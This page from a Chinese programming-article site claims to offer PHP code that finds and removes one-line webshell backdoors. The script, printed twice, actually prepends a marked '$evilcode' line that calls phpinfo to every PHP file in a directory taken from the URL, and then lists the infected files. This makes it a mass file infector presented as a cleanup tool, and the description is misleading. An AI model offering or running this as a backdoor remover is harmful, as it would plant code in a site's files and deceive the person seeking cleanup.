用php实现批量查询清除一句话后门的代码
程序员文章站
2022-05-25 23:19:10
总是忘记一句话放到哪个文件里去了,直接全部干掉... 复制代码 代码如下://xy7 if (!isset($dir) or&nb...
总是忘记一句话放到哪个文件里去了,直接全部干掉...
<?//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('\\','/',dirname(__file__));
echo "<font color=\"#00688b\">".$dir."</font>";
} else {
$dir=$_get['dir'];
echo "<font color=\"#00688b\">".$dir."</font>";
}
$evilcode="<?phpinfo();//xy7?>";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>
<hr>
<table width="100%" border="0" cellpadding="3" cellspacing="1">
<tr>
<td><b>被x的文件</b></td>
<td><b>时间</b></td>
<td><b>大小</b></td>
</tr>
<?php
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("y-n-d h:i:s",filectime("$dir/$file"));
echo "<tr>\n";
echo "<td>$file</td>\n";
echo " <td>$lastsave</td>\n";
echo " <td>$size bytes</td>\n";
}
}
}
@closedir($dirs);
?>
</table>
codz by xuanmumu
复制代码 代码如下:
<?//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('\\','/',dirname(__file__));
echo "<font color=\"#00688b\">".$dir."</font>";
} else {
$dir=$_get['dir'];
echo "<font color=\"#00688b\">".$dir."</font>";
}
$evilcode="<?phpinfo();//xy7?>";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>
<hr>
<table width="100%" border="0" cellpadding="3" cellspacing="1">
<tr>
<td><b>被x的文件</b></td>
<td><b>时间</b></td>
<td><b>大小</b></td>
</tr>
<?php
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("y-n-d h:i:s",filectime("$dir/$file"));
echo "<tr>\n";
echo "<td>$file</td>\n";
echo " <td>$lastsave</td>\n";
echo " <td>$size bytes</td>\n";
}
}
}
@closedir($dirs);
?>
</table>